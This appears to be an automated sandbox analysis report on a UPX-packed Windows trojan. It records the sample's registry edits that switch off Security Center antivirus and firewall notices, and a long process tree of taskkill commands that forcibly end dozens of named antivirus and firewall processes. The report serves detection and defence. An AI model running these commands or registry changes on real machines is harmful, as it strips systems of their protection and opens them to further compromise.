5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e

Analysis

max time kernel
150s
max time network
71s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
03/12/2022, 07:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e.exe
Size

13KB
MD5

d5c5f9a8736c119ed87dfc7661d0cc24
SHA1

790eac77fd7d51ac19c36a35afa89ae8492e9b16
SHA256

5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e
SHA512

7b0464eb27ea0277b776ad073cca8fed50c4d2b39d2d4fe7fc6f04c62af282f6fa1dbdbc6f9af5cbba0d68bc03b6fa4e9642f007508a15cae6ecd21544143426
SSDEEP

192:tfx1/biSj4MLsQ2BX13AakSvUkt7KeBDTdiPdP6lTDQc2nFaNJhLkwcud2DH9Vw9:tfxnT2BX1JNVjKVK2FaNJawcudoD7Ub

Score

10^/10

evasion trojan upx

Malware Config

Signatures

Windows security bypass 2 TTPs 5 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "4"	reg.exe

Executes dropped EXE 1 IoCs

pid	Process
1180	b2e.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1724-59-0x0000000000400000-0x0000000000417000-memory.dmp	upx

Loads dropped DLL 2 IoCs

pid	Process
1724	5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e.exe
1724	5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 64 IoCs

evasion

pid	Process
1476	taskkill.exe
1724	taskkill.exe
1988	taskkill.exe
952	taskkill.exe
1432	taskkill.exe
604	taskkill.exe
1320	taskkill.exe
892	taskkill.exe
996	taskkill.exe
1000	taskkill.exe
1704	taskkill.exe
1640	taskkill.exe
1072	taskkill.exe
1476	taskkill.exe
864	taskkill.exe
1680	taskkill.exe
1320	taskkill.exe
1988	taskkill.exe
924	taskkill.exe
1836	taskkill.exe
1544	taskkill.exe
1724	taskkill.exe
308	taskkill.exe
756	taskkill.exe
1000	taskkill.exe
2000	taskkill.exe
1600	taskkill.exe
1808	taskkill.exe
1676	taskkill.exe
1088	taskkill.exe
1108	taskkill.exe
560	taskkill.exe
1516	taskkill.exe
392	taskkill.exe
1208	taskkill.exe
848	taskkill.exe
1000	taskkill.exe
1608	taskkill.exe
1568	taskkill.exe
1412	taskkill.exe
1292	taskkill.exe
1412	taskkill.exe
1632	taskkill.exe
1532	taskkill.exe
1000	taskkill.exe
1820	taskkill.exe
2016	taskkill.exe
1776	taskkill.exe
1220	taskkill.exe
308	taskkill.exe
552	taskkill.exe
1548	taskkill.exe
1320	taskkill.exe
316	taskkill.exe
1608	taskkill.exe
604	taskkill.exe
1916	taskkill.exe
1088	taskkill.exe
684	taskkill.exe
1548	taskkill.exe
1924	taskkill.exe
1704	taskkill.exe
1540	taskkill.exe
1120	taskkill.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
692	PING.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	756	taskkill.exe
Token: SeDebugPrivilege	1536	taskkill.exe
Token: SeDebugPrivilege	824	taskkill.exe
Token: SeDebugPrivilege	1532	taskkill.exe
Token: SeDebugPrivilege	1668	taskkill.exe
Token: SeDebugPrivilege	1204	taskkill.exe
Token: SeDebugPrivilege	1808	taskkill.exe
Token: SeDebugPrivilege	1968	taskkill.exe
Token: SeDebugPrivilege	1676	taskkill.exe
Token: SeDebugPrivilege	1212	taskkill.exe
Token: SeDebugPrivilege	1660	taskkill.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	536	taskkill.exe
Token: SeDebugPrivilege	1764	taskkill.exe
Token: SeDebugPrivilege	2032	taskkill.exe
Token: SeDebugPrivilege	316	taskkill.exe
Token: SeDebugPrivilege	1828	taskkill.exe
Token: SeDebugPrivilege	1688	taskkill.exe
Token: SeDebugPrivilege	324	taskkill.exe
Token: SeDebugPrivilege	692	taskkill.exe
Token: SeDebugPrivilege	2012	taskkill.exe
Token: SeDebugPrivilege	1924	taskkill.exe
Token: SeDebugPrivilege	1472	taskkill.exe
Token: SeDebugPrivilege	1972	taskkill.exe
Token: SeDebugPrivilege	1528	taskkill.exe
Token: SeDebugPrivilege	772	taskkill.exe
Token: SeDebugPrivilege	1060	taskkill.exe
Token: SeDebugPrivilege	1660	taskkill.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	536	taskkill.exe
Token: SeDebugPrivilege	1188	taskkill.exe
Token: SeDebugPrivilege	1292	taskkill.exe
Token: SeDebugPrivilege	1776	taskkill.exe
Token: SeDebugPrivilege	1140	taskkill.exe
Token: SeDebugPrivilege	1520	taskkill.exe
Token: SeDebugPrivilege	848	taskkill.exe
Token: SeDebugPrivilege	1028	taskkill.exe
Token: SeDebugPrivilege	1100	taskkill.exe
Token: SeDebugPrivilege	1916	taskkill.exe
Token: SeDebugPrivilege	1728	taskkill.exe
Token: SeDebugPrivilege	1984	taskkill.exe
Token: SeDebugPrivilege	1652	taskkill.exe
Token: SeDebugPrivilege	1608	taskkill.exe
Token: SeDebugPrivilege	1468	taskkill.exe
Token: SeDebugPrivilege	544	taskkill.exe
Token: SeDebugPrivilege	308	taskkill.exe
Token: SeDebugPrivilege	1764	taskkill.exe
Token: SeDebugPrivilege	1128	taskkill.exe
Token: SeDebugPrivilege	2036	taskkill.exe
Token: SeDebugPrivilege	560	taskkill.exe
Token: SeDebugPrivilege	1948	taskkill.exe
Token: SeDebugPrivilege	2016	taskkill.exe
Token: SeDebugPrivilege	1520	taskkill.exe
Token: SeDebugPrivilege	848	taskkill.exe
Token: SeDebugPrivilege	1028	taskkill.exe
Token: SeDebugPrivilege	1100	taskkill.exe
Token: SeDebugPrivilege	1916	taskkill.exe
Token: SeDebugPrivilege	1728	taskkill.exe
Token: SeDebugPrivilege	1984	taskkill.exe
Token: SeDebugPrivilege	1652	taskkill.exe
Token: SeDebugPrivilege	1608	taskkill.exe
Token: SeDebugPrivilege	604	taskkill.exe
Token: SeDebugPrivilege	1504	taskkill.exe
Token: SeDebugPrivilege	1632	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 1180	1724	5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e.exe	27
PID 1724 wrote to memory of 1180	1724	5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e.exe	27
PID 1724 wrote to memory of 1180	1724	5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e.exe	27
PID 1724 wrote to memory of 1180	1724	5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e.exe	27
PID 1180 wrote to memory of 1720	1180	b2e.exe	28
PID 1180 wrote to memory of 1720	1180	b2e.exe	28
PID 1180 wrote to memory of 1720	1180	b2e.exe	28
PID 1180 wrote to memory of 1720	1180	b2e.exe	28
PID 1720 wrote to memory of 756	1720	cmd.exe	30
PID 1720 wrote to memory of 756	1720	cmd.exe	30
PID 1720 wrote to memory of 756	1720	cmd.exe	30
PID 1720 wrote to memory of 756	1720	cmd.exe	30
PID 1720 wrote to memory of 1536	1720	cmd.exe	32
PID 1720 wrote to memory of 1536	1720	cmd.exe	32
PID 1720 wrote to memory of 1536	1720	cmd.exe	32
PID 1720 wrote to memory of 1536	1720	cmd.exe	32
PID 1720 wrote to memory of 824	1720	cmd.exe	33
PID 1720 wrote to memory of 824	1720	cmd.exe	33
PID 1720 wrote to memory of 824	1720	cmd.exe	33
PID 1720 wrote to memory of 824	1720	cmd.exe	33
PID 1720 wrote to memory of 1532	1720	cmd.exe	34
PID 1720 wrote to memory of 1532	1720	cmd.exe	34
PID 1720 wrote to memory of 1532	1720	cmd.exe	34
PID 1720 wrote to memory of 1532	1720	cmd.exe	34
PID 1720 wrote to memory of 1668	1720	cmd.exe	35
PID 1720 wrote to memory of 1668	1720	cmd.exe	35
PID 1720 wrote to memory of 1668	1720	cmd.exe	35
PID 1720 wrote to memory of 1668	1720	cmd.exe	35
PID 1720 wrote to memory of 1204	1720	cmd.exe	36
PID 1720 wrote to memory of 1204	1720	cmd.exe	36
PID 1720 wrote to memory of 1204	1720	cmd.exe	36
PID 1720 wrote to memory of 1204	1720	cmd.exe	36
PID 1720 wrote to memory of 1808	1720	cmd.exe	37
PID 1720 wrote to memory of 1808	1720	cmd.exe	37
PID 1720 wrote to memory of 1808	1720	cmd.exe	37
PID 1720 wrote to memory of 1808	1720	cmd.exe	37
PID 1720 wrote to memory of 1968	1720	cmd.exe	38
PID 1720 wrote to memory of 1968	1720	cmd.exe	38
PID 1720 wrote to memory of 1968	1720	cmd.exe	38
PID 1720 wrote to memory of 1968	1720	cmd.exe	38
PID 1720 wrote to memory of 1676	1720	cmd.exe	39
PID 1720 wrote to memory of 1676	1720	cmd.exe	39
PID 1720 wrote to memory of 1676	1720	cmd.exe	39
PID 1720 wrote to memory of 1676	1720	cmd.exe	39
PID 1720 wrote to memory of 1212	1720	cmd.exe	40
PID 1720 wrote to memory of 1212	1720	cmd.exe	40
PID 1720 wrote to memory of 1212	1720	cmd.exe	40
PID 1720 wrote to memory of 1212	1720	cmd.exe	40
PID 1720 wrote to memory of 1660	1720	cmd.exe	41
PID 1720 wrote to memory of 1660	1720	cmd.exe	41
PID 1720 wrote to memory of 1660	1720	cmd.exe	41
PID 1720 wrote to memory of 1660	1720	cmd.exe	41
PID 1720 wrote to memory of 1632	1720	cmd.exe	42
PID 1720 wrote to memory of 1632	1720	cmd.exe	42
PID 1720 wrote to memory of 1632	1720	cmd.exe	42
PID 1720 wrote to memory of 1632	1720	cmd.exe	42
PID 1720 wrote to memory of 536	1720	cmd.exe	43
PID 1720 wrote to memory of 536	1720	cmd.exe	43
PID 1720 wrote to memory of 536	1720	cmd.exe	43
PID 1720 wrote to memory of 536	1720	cmd.exe	43
PID 1720 wrote to memory of 1764	1720	cmd.exe	44
PID 1720 wrote to memory of 1764	1720	cmd.exe	44
PID 1720 wrote to memory of 1764	1720	cmd.exe	44
PID 1720 wrote to memory of 1764	1720	cmd.exe	44

C:\Users\Admin\AppData\Local\Temp\5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e.exe
"C:\Users\Admin\AppData\Local\Temp\5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Users\Admin\AppData\Local\Temp\159.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\159.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\159.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\5247ccedc9744c5c25eb13c036b48cffadde1f804372fc60f43c4d1d4abb879e.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1180
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\2A0.tmp\batfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nod32krn.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:756
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nod32.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nod32kui.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:824
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1532
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im kavmm.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1668
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im KAVPF.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1204
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgemc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1808
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgcc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1968
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgamsvr.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1676
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgupsvc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1212
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgw.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1660
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashWebSv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1632
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashDisp.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashmaisv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1764
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashserv.exe
      4⤵
      PID:1604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im aswupdsv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2032
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ewidoctrl.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:316
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im guard.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im gcasDtServ.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1688
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcafee.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:692
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mghtml.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im MsiExec.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im outpost.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im isafe.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zapro.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1528
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zauinst.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:772
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im UpdClient.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1060
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zlcliente.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1660
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im minilog.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1632
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zonealarm.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zlclient.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1188
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccapp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1292
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccsetmgr.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1776
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccevtmgr.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1140
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im Norton Auto-Protect.exe
      4⤵
      Kills process with taskkill
      PID:2016
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cccproxy.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1520
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navw32.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:848
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im norton.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1028
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navapsvc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1100
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im npfmntor.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1916
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im logexprt.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1728
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nisum.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1984
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im issvc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1652
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cpdclnt.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1608
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pccntupd.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1468
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im PCCTool.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:544
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tmproxy.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tmntsrv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1764
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pop3trap.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1128
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tsc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2036
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im PavPrSrv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:560
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im padmin.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im PavProt.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2016
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pandaav.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1520
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avengine.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:848
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im apvxdwin.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1028
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im webProxy.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1100
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avguard.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1916
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgnt.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1728
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sched.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1984
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avsched32.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1652
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im SCCOMM.EXE
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1608
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im Spiderml.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1504
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im bdswitch.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1632
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im bdss.exe
      4⤵
      PID:536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im INOTask.exe
      4⤵
      PID:880
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im caissdt.exe
      4⤵
      Kills process with taskkill
      PID:684
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im InoRpc.exe
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im VetMsg.exe
      4⤵
      PID:560
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vettray.exe
      4⤵
      PID:540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im realmon.exe
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nod32krn.exe
      4⤵
      PID:1668
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nod32.exe
      4⤵
      PID:1208
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nod32kui.exe
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      PID:1732
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im kavmm.exe
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im KAVPF.exe
      4⤵
      Kills process with taskkill
      PID:1916
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgemc.exe
      4⤵
      PID:1640
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgcc.exe
      4⤵
      PID:1108
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgamsvr.exe
      4⤵
      PID:1624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgupsvc.exe
      4⤵
      PID:1168
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgw.exe
      4⤵
      PID:1056
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashWebSv.exe
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashDisp.exe
      4⤵
      PID:952
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashmaisv.exe
      4⤵
      PID:2000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashserv.exe
      4⤵
      PID:1188
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im aswupdsv.exe
      4⤵
      PID:316
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ewidoctrl.exe
      4⤵
      PID:1828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im guard.exe
      4⤵
      PID:1300
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im gcasDtServ.exe
      4⤵
      Kills process with taskkill
      PID:1432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcafee.exe
      4⤵
      PID:856
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mghtml.exe
      4⤵
      PID:1204
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im MsiExec.exe
      4⤵
      PID:1808
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im outpost.exe
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im isafe.exe
      4⤵
      PID:1820
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zapro.exe
      4⤵
      PID:1676
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zauinst.exe
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im UpdClient.exe
      4⤵
      PID:1984
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zlcliente.exe
      4⤵
      PID:1652
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im minilog.exe
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zonealarm.exe
      4⤵
      Kills process with taskkill
      PID:604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zlclient.exe
      4⤵
      PID:1504
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccapp.exe
      4⤵
      PID:1124
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccsetmgr.exe
      4⤵
      PID:1416
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccevtmgr.exe
      4⤵
      PID:900
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im Norton Auto-Protect.exe
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cccproxy.exe
      4⤵
      PID:316
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navw32.exe
      4⤵
      PID:1828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im norton.exe
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navapsvc.exe
      4⤵
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im npfmntor.exe
      4⤵
      PID:864
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im logexprt.exe
      4⤵
      PID:1520
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nisum.exe
      4⤵
      PID:1476
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im issvc.exe
      4⤵
      PID:928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cpdclnt.exe
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pccntupd.exe
      4⤵
      PID:1820
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im PCCTool.exe
      4⤵
      PID:1676
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tmproxy.exe
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tmntsrv.exe
      4⤵
      PID:1984
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pop3trap.exe
      4⤵
      PID:1652
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tsc.exe
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im PavPrSrv.exe
      4⤵
      PID:604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im padmin.exe
      4⤵
      PID:1504
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im PavProt.exe
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pandaav.exe
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avengine.exe
      4⤵
      PID:1776
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im apvxdwin.exe
      4⤵
      PID:1072
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im webProxy.exe
      4⤵
      PID:1088
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avguard.exe
      4⤵
